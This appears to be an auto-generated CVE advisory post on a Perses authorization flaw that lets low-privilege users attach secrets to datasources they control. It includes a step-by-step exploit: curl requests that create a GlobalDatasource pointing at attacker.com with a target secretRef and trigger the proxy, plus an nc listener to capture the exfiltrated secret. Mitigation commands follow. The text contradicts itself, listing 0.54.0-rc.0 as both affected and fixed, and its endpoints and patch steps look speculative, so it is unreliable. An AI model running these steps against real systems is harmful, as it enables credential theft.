Listen to this Post
Perses is an open-source dashboard and visualization platform for observability data. CVE-2026-63199 is a high-severity authorization flaw (CVSS 8.3) affecting Perses versions 0.43.0 through 0.54.0-rc.0. The vulnerability exists in the datasource creation and unsaved datasource proxy paths, where the system authorizes the caller on a Datasource or GlobalDatasource scope but fails to require read permission for the separately grantable associated project or global Secret before resolving it. Datasource and Secret are distinct, independently grantable role scopes within Perses, meaning an operator can legitimately grant datasource access without granting secret access. The proxy and the service used to create a datasource do not verify that the operator has the correct right to read the secret being attached.
A low-privilege user holding only `GlobalDatasource:create` permissions can create a GlobalDatasource and attach a GlobalSecret without having the right to access it. The same attack vector applies through the unsaved datasource feature proposed by the proxy, which is used to verify connectivity to a datasource before creating the resource. Once a user can attach a secret they lack permission to view, they can create a Datasource they control and then read anything sent by Perses, including the secret in plaintext. This effectively grants access to secrets without proper authorization. The project-scoped variant behaves identically within a project context. The core issue is that authorization is checked at one stage (datasource creation) but not consistently applied during subsequent resource resolution steps involving sensitive payloads like cryptographic keys and passwords. By pointing the configured datasource toward a malicious service controlled by the attacker, such as a custom HTTP endpoint or proxy server, the Perses application is compelled to process the request using the referenced secret’s credentials, transmitting decrypted secret values in plaintext to the external service controlled by the attacker. This vulnerability aligns with CWE-269 (Improper Privilege Management) and facilitates the exfiltration of API keys, database passwords, and other critical credentials stored in global or project-scoped secret stores. This issue is fixed in version 0.54.0-rc.0, which adds verification that the user has the right to read a secret when a secret is attached to a datasource.
DailyCVE Form:
Platform: Perses
Version: 0.43.0-0.54.0
Vulnerability: Missing authorization
Severity: High
date: September 18, 2026
Prediction: September 2026
What Undercode Say: Analytics
Check current Perses version
perses --version
Verify affected version range
curl -s https://api.github.com/repos/perses/perses/releases | jq '.[].tag_name'
Check datasource creation permissions
kubectl get clusterrole | grep -i datasource
Inspect GlobalDatasource resources
kubectl get globaldatasources -A
Check GlobalSecret access permissions
kubectl auth can-i get globalsecrets
Test datasource proxy endpoint
curl -X POST http://perses:8080/api/v1/globaldatasources \
-H "Authorization: Bearer $TOKEN" \
-d '{"kind":"GlobalDatasource","metadata":{"name":"exploit-ds"},"spec":{"default":true,"plugin":{"kind":"PrometheusDatasource","spec":{"directUrl":"http://attacker.com:9090"}}}}'
Monitor secret exfiltration attempts
tcpdump -i eth0 -A port 9090 | grep -i "authorization|password|api_key"
Malicious GlobalDatasource configuration apiVersion: perses.dev/v1alpha1 kind: GlobalDatasource metadata: name: exploit-datasource spec: default: true plugin: kind: PrometheusDatasource spec: directUrl: "http://attacker-controlled-service:9090" secretRef: name: target-global-secret
How Exploit: (Educational Purposes!)
Step 1: Authenticate with low-privilege credentials
TOKEN=$(curl -s -X POST http://perses:8080/api/v1/auth/login \
-d '{"username":"lowpriv","password":"password"}' | jq -r '.token')
Step 2: Create GlobalDatasource pointing to attacker service
curl -X POST http://perses:8080/api/v1/globaldatasources \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"kind": "GlobalDatasource",
"metadata": {"name": "malicious-ds"},
"spec": {
"default": true,
"plugin": {
"kind": "PrometheusDatasource",
"spec": {
"directUrl": "http://attacker.com:9090",
"secretRef": {"name": "target-global-secret"}
}
}
}
}'
Step 3: Trigger datasource proxy to resolve and decrypt secret
curl -X POST http://perses:8080/api/v1/globaldatasources/proxy \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"datasource": {"name": "malicious-ds"},
"request": {"method": "GET", "url": "/api/v1/query"}
}'
Step 4: Capture exfiltrated secret on attacker server
nc -lvnp 9090
Protection: from this CVE
Upgrade to patched version
helm upgrade perses perses/perses --version 0.54.0-rc.0
Verify patch is applied
perses --version | grep "0.54.0-rc.0"
Workaround: Restrict GlobalDatasource creation rights
kubectl patch clusterrole perses-viewer --type='json' \
-p='[{"op": "remove", "path": "/rules/0/verbs/2"}]'
Use provisioning instead of runtime datasource creation
Disable datasource creation API endpoints via configuration
Audit existing GlobalDatasources for unauthorized secret references
kubectl get globaldatasources -o json | jq '.items[] | select(.spec.plugin.spec.secretRef != null)'
Monitor for suspicious datasource creation events
kubectl get events --field-selector involvedObject.kind=GlobalDatasource
Impact
Successful exploitation of CVE-2026-63199 allows a low-privilege authenticated user to bypass project and global scope separation, exfiltrating sensitive secrets including API keys, database passwords, and authentication tokens stored in Perses secret stores. This leads to unauthorized access to downstream systems relying on those credentials, potential lateral movement within observability infrastructure, and violation of multi-tenant isolation boundaries. The vulnerability enables privilege escalation through credential theft rather than direct system modification, undermining the principle of least privilege and proper separation of duties within the application’s security model.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

